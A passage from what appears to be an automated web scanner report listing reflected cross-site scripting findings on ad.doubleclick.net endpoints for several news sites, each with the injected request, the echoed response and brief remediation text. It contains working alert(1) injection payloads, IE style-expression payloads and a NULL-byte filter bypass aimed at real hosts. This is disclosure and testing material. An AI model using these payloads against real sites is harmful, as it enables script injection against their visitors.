GET /adi/smartmoney.com/SmartMoney_Main_Front;u=;!category=;page=magsubscribe;;mc=0;tile=1;sz=378x115;ord=5215521552155215;fea9e"style%3d"x%3aexpression(alert(1))"aed0af3f5f HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:21:46 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 577

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/u;241002750;0-0;0;62559705;41664-378/115;42067942/42085729/1;u=;~okv=;u=;!category=;page=magsubscribe;;mc=0;tile=1;sz=378x115;fea9e"style="x:expression(alert(1))"aed0af3f5f;~aopt=2/1/ff/1;~sscs=%3fhttps://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDLGODAB">
...[SNIP]...

4.33. http://ad.doubleclick.net/adi/smartmoney.com/tool_module [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/tool_module

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2516c"style%3d"x%3aexpression(alert(1))"69c275b066b was submitted in the !category parameter. This input was echoed as 2516c"style="x:expression(alert(1))"69c275b066b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/smartmoney.com/tool_module;!category=;page=commentSponsor;;mc=0;tile=2;sz=234x31;ord=2642264226422642;2516c"style%3d"x%3aexpression(alert(1))"69c275b066b HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:21:38 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 437

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/t;44306;0-0;0;62335141;1510-234/31;0/0/0;;~okv=;!category=;page=commentSponsor;;mc=0;tile=2;sz=234x31;2516c"style="x:expression(alert(1))"69c275b066b;~aopt=2/1/ff/1;~sscs=%3f">
...[SNIP]...

4.34. http://ad.doubleclick.net/adi/smartmoney.com/tool_module [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/tool_module

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1a1f"style%3d"x%3aexpression(alert(1))"8ab1cd5cae4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d1a1f"style="x:expression(alert(1))"8ab1cd5cae4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/smartmoney.com/tool_module;!category=;page=commentSponsor;;mc=0;tile=2;sz=234x31;ord=2642264226422642;&d1a1f"style%3d"x%3aexpression(alert(1))"8ab1cd5cae4=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:22:02 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 440

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/t;44306;0-0;0;62335141;1510-234/31;0/0/0;;~okv=;!category=;page=commentSponsor;;mc=0;tile=2;sz=234x31;&d1a1f"style="x:expression(alert(1))"8ab1cd5cae4=1;~aopt=2/1/ff/1;~sscs=%3f">
...[SNIP]...

4.35. http://ad.doubleclick.net/adj/allthingsd.com/general [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/allthingsd.com/general

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 41629'-alert(1)-'cfc3eba9754 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/allthingsd.com/general;tile=1;sz=300x100;ord=5629598903469741?&41629'-alert(1)-'cfc3eba9754=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://allthingsd.com/about/kara-swisher/ethics/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:34:50 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 443

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/m;211715823;0-0;0;16721520;3823-300/100;31527772/31545648/1;;~okv=;tile=1;sz=300x100;;41629'-alert(1)-'cfc3eba9754=1;~aopt=6/1/ff/1;~sscs=%3fhttp://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=316429710&mt=8&s=143441">
...[SNIP]...

4.36. http://ad.doubleclick.net/adj/allthingsd.com/kara_singlepost [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/allthingsd.com/kara_singlepost

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a4972'-alert(1)-'37c8b0d0a60 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/allthingsd.com/kara_singlepost;tile=1;sz=300x100;ord=7205884598661214?&a4972'-alert(1)-'37c8b0d0a60=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:23:58 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 443

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/u;211715823;0-0;0;16718698;3823-300/100;31527772/31545648/1;;~okv=;tile=1;sz=300x100;;a4972'-alert(1)-'37c8b0d0a60=1;~aopt=6/1/ff/1;~sscs=%3fhttp://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=316429710&mt=8&s=143441">
...[SNIP]...

4.37. http://ad.doubleclick.net/adj/barrons.com/daily_barronstake [!category parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://ad.doubleclick.net
Path:	/adj/barrons.com/daily_barronstake

Issue detail

The value of the !category request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 28cf6'%3bf8b0d88d9d was submitted in the !category parameter. This input was echoed as 28cf6';f8b0d88d9d in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /adj/barrons.com/daily_barronstake;!category=;page=rightrail;msrc=BOL_other_tnav_analysis;biz=1053;;s=8_10001;mc=0;tile=9;sz=300x250,336x280,300x600,336x850;ord=2826282628262826;28cf6'%3bf8b0d88d9d HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/barrons.com/daily_barronstake;!category=;page=rightrail;msrc=BOL_other_tnav_analysis;biz=1053;;s=8_10001;mc=0;tile=9;sz=300x250,336x280,300x600,336x850;ord=2826282628262826;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:34:07 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 573

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/u;236395304;0-0;0;62790958;10408-336/850;40689046/40706833/1;;~aopt=0/ff/ff/ff;~fdr=240892763;0-0;0;46249204;10408-336/850;42039043/42056830/1;;~okv=;!category=;page=rightrail;msrc=BOL_other_tnav_analysis;biz=1053;;s=8_10001;mc=0;tile=9;sz=300x250,336x280,300x600,336x850;28cf6';f8b0d88d9d;~aopt=2/1/ff/1;~sscs=%3fhttp://calamos.com/GrowthWorks">
...[SNIP]...

4.38. http://ad.doubleclick.net/adj/barrons.com/daily_barronstake [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/barrons.com/daily_barronstake

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6385e'%3balert(1)//d36868e77a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6385e';alert(1)//d36868e77a4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/barrons.com/daily_barronstake;!category=;page=rightrail;msrc=BOL_other_tnav_analysis;biz=1053;;s=8_10001;mc=0;tile=9;sz=300x250,336x280,300x600,336x850;ord=2826282628262826;&6385e'%3balert(1)//d36868e77a4=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/barrons.com/daily_barronstake;!category=;page=rightrail;msrc=BOL_other_tnav_analysis;biz=1053;;s=8_10001;mc=0;tile=9;sz=300x250,336x280,300x600,336x850;ord=2826282628262826;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:34:57 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 587

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/u;236395304;0-0;0;62790958;10408-336/850;40689046/40706833/1;;~aopt=0/ff/ff/ff;~fdr=240892763;0-0;0;46249204;10408-336/850;42039043/42056830/1;;~okv=;!category=;page=rightrail;msrc=BOL_other_tnav_analysis;biz=1053;;s=8_10001;mc=0;tile=9;sz=300x250,336x280,300x600,336x850;&6385e';alert(1)//d36868e77a4=1;~aopt=2/1/ff/1;~sscs=%3fhttp://calamos.com/GrowthWorks">
...[SNIP]...

4.39. http://ad.doubleclick.net/adj/barrons.com/survey [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/barrons.com/survey

Issue detail

The value of the !category request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82c81'-alert(1)-'2dfd7f2477e was submitted in the !category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/barrons.com/survey;!category=82c81'-alert(1)-'2dfd7f2477e HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/barrons.com/columnist;!category=;biz=1053;;s=8_10001;mc=0;tile=3;sz=300x250;ord=2817281728172817;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 416
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:31:41 GMT
Expires: Sat, 14 May 2011 10:31:41 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/v;231254172;0-0;0;25648719;255-0/0;42027515/42045302/1;;~okv=;!category=82c81'-alert(1)-'2dfd7f2477e;~aopt=2/1/ff/1;~sscs=%3fhttps://order.barrons.com/sub/xdef/002/onlinecontrol2_OOTB">
...[SNIP]...

4.40. http://ad.doubleclick.net/adj/interactive.wsj.com/front_nonsub [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/interactive.wsj.com/front_nonsub

Issue detail

The value of the !category request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da49b'-alert(1)-'818ab72d4b9 was submitted in the !category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=8;sz=336x280,300x250;ord=6698669866986698;da49b'-alert(1)-'818ab72d4b9 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=8;sz=336x280,300x250;ord=6698669866986698;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:09:42 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 405

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/b;207642204;5-0;0;29743509;4307-300/250;42034612/42052399/1;;~okv=;!category=;;mc=b2pfreezone;tile=8;sz=336x280,300x250;da49b'-alert(1)-'818ab72d4b9;~aopt=6/1/ff/1;~sscs=%3fhttp://lpsummit.dowjones.com">
...[SNIP]...

4.41. http://ad.doubleclick.net/adj/marketwatch.com/brokerdock [s parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/marketwatch.com/brokerdock

Issue detail

The value of the s request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 974bb'-alert(1)-'8599316508e was submitted in the s parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/marketwatch.com/brokerdock;s=974bb'-alert(1)-'8599316508e HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 439
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:30:26 GMT
Expires: Sat, 14 May 2011 10:30:26 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/f;225017382;0-0;0;46413550;255-0/0;36796821/36814699/1;;~okv=;s=974bb'-alert(1)-'8599316508e;~aopt=2/1/ff/1;~sscs=%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_WhatIsWorkingNow?dist=IAEHM1AFW">
...[SNIP]...

4.42. http://ad.doubleclick.net/adj/marketwatch.com/brokerdock [u parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/marketwatch.com/brokerdock

Issue detail

The value of the u request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %001fc0f'-alert(1)-'57189850f8e was submitted in the u parameter. This input was echoed as 1fc0f'-alert(1)-'57189850f8e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /adj/marketwatch.com/brokerdock;u=%001fc0f'-alert(1)-'57189850f8e HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 51904
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:13:58 GMT
Expires: Sat, 14 May 2011 10:13:58 GMT

document.write('');

if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayManagers =
...[SNIP]...
://ad.doubleclick.net/activity;src=1363789;stragg=1;v=1;pid=46413550;aid=240691320;ko=0;cid=41978572;rid=41996359;rv=1;rn=3125182;";
this.swfParams = 'src=1363789&rv=1&rid=41996359&=%001fc0f'-alert(1)-'57189850f8e&';
this.renderingId = "41996359";
this.previewMode = (("%PreviewMode" == "true") ? true : false);
this.debugEventsMode = (("%DebugEventsMode" == "true")
...[SNIP]...

4.43. http://ad.doubleclick.net/adj/marketwatch.com/frontpage [u parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/marketwatch.com/frontpage

Issue detail

The value of the u request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a2415'-alert(1)-'77ea14b7b01 was submitted in the u parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/marketwatch.com/frontpage;u=a2415'-alert(1)-'77ea14b7b01 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 469
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:14:01 GMT
Expires: Sat, 14 May 2011 10:14:01 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/f;225017382;0-0;0;13112443;255-0/0;36796821/36814699/1;u=a2415'-alert(1)-'77ea14b7b01;~okv=;u=a2415'-alert(1)-'77ea14b7b01;~aopt=2/1/ff/1;~sscs=%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_WhatIsWorkingNow?dist=IAEHM1AFW">
...[SNIP]...

4.44. http://ad.doubleclick.net/adj/marketwatch.com/markets_futuremovers [p39 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/marketwatch.com/markets_futuremovers

Issue detail

The value of the p39 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 47048'-alert(1)-'ca7e230a304 was submitted in the p39 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/marketwatch.com/markets_futuremovers;p39=47048'-alert(1)-'ca7e230a304 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 441
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:28:53 GMT
Expires: Sat, 14 May 2011 10:28:53 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/f;225017382;0-0;0;13112524;255-0/0;36796821/36814699/1;;~okv=;p39=47048'-alert(1)-'ca7e230a304;~aopt=2/1/ff/1;~sscs=%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_WhatIsWorkingNow?dist=IAEHM1AFW">
...[SNIP]...

4.45. http://ad.doubleclick.net/adj/marketwatch.com/mutualfunds_jaffe [p39 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/marketwatch.com/mutualfunds_jaffe

Issue detail

The value of the p39 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d7b36'-alert(1)-'24206ab45ed was submitted in the p39 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/marketwatch.com/mutualfunds_jaffe;p39=d7b36'-alert(1)-'24206ab45ed HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 441
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:31:41 GMT
Expires: Sat, 14 May 2011 10:31:41 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/m;225017382;0-0;0;13314513;255-0/0;36796821/36814699/1;;~okv=;p39=d7b36'-alert(1)-'24206ab45ed;~aopt=2/1/ff/1;~sscs=%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_WhatIsWorkingNow?dist=IAEHM1AFW">
...[SNIP]...

4.46. http://ad.doubleclick.net/adj/marketwatch.com/personalfinance_story [p39 parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://ad.doubleclick.net
Path:	/adj/marketwatch.com/personalfinance_story

Issue detail

The value of the p39 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4fda9'%3b268fe484bfd was submitted in the p39 parameter. This input was echoed as 4fda9';268fe484bfd in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /adj/marketwatch.com/personalfinance_story;p39=4fda9'%3b268fe484bfd HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 431
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:33:56 GMT
Expires: Sat, 14 May 2011 10:33:56 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/c;225017382;0-0;0;13112615;255-0/0;36796821/36814699/1;;~okv=;p39=4fda9';268fe484bfd;~aopt=2/1/ff/1;~sscs=%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_WhatIsWorkingNow?dist=IAEHM1AFW">
...[SNIP]...

4.47. http://ad.doubleclick.net/adj/smartmoney.com/intromessage [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
